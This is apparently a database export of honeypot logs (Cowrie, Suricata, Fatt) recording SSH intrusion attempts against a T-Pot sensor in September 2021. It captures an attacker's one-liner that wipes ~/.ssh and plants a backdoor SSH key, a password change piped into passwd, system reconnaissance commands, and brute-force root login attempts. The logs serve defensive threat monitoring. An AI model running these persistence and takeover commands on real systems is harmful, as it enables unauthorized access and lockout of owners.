31855	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:57.248088+03	2021-09-20 15:00:02.710717+03	{"_id": "uwYIA3wBvYTbRNuEwUZk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:57.248088Z", "@timestamp": "2021-09-20T11:47:57.248Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31857	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:57.483871+03	2021-09-20 15:00:02.713716+03	{"_id": "vgYIA3wBvYTbRNuEwUZk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:57.483871Z", "@timestamp": "2021-09-20T11:47:57.483Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31858	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:52.960904+03	2021-09-20 15:00:02.714718+03	{"_id": "gwYIA3wBvYTbRNuEsUbC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "8308bab0ed44", "@version": "1", "duration": 1.3672559261322021, "timestamp": "2021-09-20T11:47:52.960904Z", "@timestamp": "2021-09-20T11:47:52.960Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31859	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:53.111788+03	2021-09-20 15:00:02.715716+03	{"_id": "hwYIA3wBvYTbRNuEsUbE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:53.111788Z", "@timestamp": "2021-09-20T11:47:53.111Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31860	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:53.35402+03	2021-09-20 15:00:02.716716+03	{"_id": "iAYIA3wBvYTbRNuEsUbE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:53.354020Z", "@timestamp": "2021-09-20T11:47:53.354Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31861	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:53.812955+03	2021-09-20 15:00:02.717715+03	{"_id": "hQYIA3wBvYTbRNuEsUbC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "echo \\"testftp1\\\\neJR4qwYmsEkB\\\\neJR4qwYmsEkB\\\\n\\"|passwd", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: echo \\"testftp1\\\\neJR4qwYmsEkB\\\\neJR4qwYmsEkB\\\\n\\"|passwd", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:53.812955Z", "@timestamp": "2021-09-20T11:47:53.812Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31862	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:54.062252+03	2021-09-20 15:00:02.718717+03	{"_id": "jgYIA3wBvYTbRNuEtUar", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:54.062252Z", "@timestamp": "2021-09-20T11:47:54.062Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31863	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:54.309557+03	2021-09-20 15:00:02.720717+03	{"_id": "kQYIA3wBvYTbRNuEtUar", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:54.309557Z", "@timestamp": "2021-09-20T11:47:54.309Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31864	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:54.538343+03	2021-09-20 15:00:02.721717+03	{"_id": "lQYIA3wBvYTbRNuEtUas", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:54.538343Z", "@timestamp": "2021-09-20T11:47:54.538Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31865	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:54.061709+03	2021-09-20 15:00:02.722716+03	{"_id": "mgYIA3wBvYTbRNuEtUau", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:54.061709Z", "@timestamp": "2021-09-20T11:47:54.061Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31866	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:54.773279+03	2021-09-20 15:00:02.723717+03	{"_id": "lwYIA3wBvYTbRNuEtUas", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:54.773279Z", "@timestamp": "2021-09-20T11:47:54.773Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31867	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:54.773867+03	2021-09-20 15:00:02.724717+03	{"_id": "mAYIA3wBvYTbRNuEtUas", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:54.773867Z", "@timestamp": "2021-09-20T11:47:54.773Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31868	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:55.286321+03	2021-09-20 15:00:02.725717+03	{"_id": "nAYIA3wBvYTbRNuEuUaS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:55.286321Z", "@timestamp": "2021-09-20T11:47:55.286Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31869	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:55.286855+03	2021-09-20 15:00:02.726716+03	{"_id": "ngYIA3wBvYTbRNuEuUaS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:55.286855Z", "@timestamp": "2021-09-20T11:47:55.286Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31870	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:55.36888+03	2021-09-20 15:00:02.728716+03	{"_id": "nQYIA3wBvYTbRNuEuUaS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "163.172.167.225", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "6436ece08441", "@version": "1", "duration": 0.08265447616577148, "duplicate": true, "timestamp": "2021-09-20T11:47:55.368880Z", "@timestamp": "2021-09-20T11:47:55.368Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31871	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:55.495681+03	2021-09-20 15:00:02.729716+03	{"_id": "nwYIA3wBvYTbRNuEuUaS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:55.495681Z", "@timestamp": "2021-09-20T11:47:55.495Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31872	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:55.496243+03	2021-09-20 15:00:02.730717+03	{"_id": "oAYIA3wBvYTbRNuEuUaS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:55.496243Z", "@timestamp": "2021-09-20T11:47:55.496Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31873	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:48:04.655261+03	2021-09-20 15:00:02.731716+03	{"_id": "6QYIA3wBvYTbRNuE3EbD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/5idfd9m566] failed", "session": "adf40b7839c1", "@version": "1", "password": "5idfd9m566", "username": "root", "timestamp": "2021-09-20T11:48:04.655261Z", "@timestamp": "2021-09-20T11:48:04.655Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31874	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:48:04.365725+03	2021-09-20 15:00:02.732716+03	{"_id": "6gYIA3wBvYTbRNuE3kZT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 1428, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 398963621794973, "@version": "1", "in_iface": "enp5s0", "src_port": 54324, "dest_port": 53, "timestamp": "2021-09-20T11:48:04.365725Z", "@timestamp": "2021-09-20T11:48:04.365Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31875	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:48:04.707485+03	2021-09-20 15:00:02.733716+03	{"_id": "7QYIA3wBvYTbRNuE3kZT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 11101, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3390, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 812964109403704, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 56390, "timestamp": "2021-09-20T11:48:04.707485Z", "@timestamp": "2021-09-20T11:48:04.707Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31876	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:48:04.418388+03	2021-09-20 15:00:02.735717+03	{"_id": "8QYIA3wBvYTbRNuE30ZX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35682, "dest_port": 443, "timestamp": "2021-09-20T11:48:04.418388", "@timestamp": "2021-09-20T11:48:04.418Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31877	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:48:04.825723+03	2021-09-20 15:00:02.736717+03	{"_id": "8AYIA3wBvYTbRNuE30ZX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35684, "timestamp": "2021-09-20T11:48:04.825723", "@timestamp": "2021-09-20T11:48:04.825Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31878	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:48:05.928632+03	2021-09-20 15:00:02.737717+03	{"_id": "-AYIA3wBvYTbRNuE5EaW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/5tgb6yhn] failed", "session": "adf40b7839c1", "@version": "1", "password": "5tgb6yhn", "username": "root", "timestamp": "2021-09-20T11:48:05.928632Z", "@timestamp": "2021-09-20T11:48:05.928Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
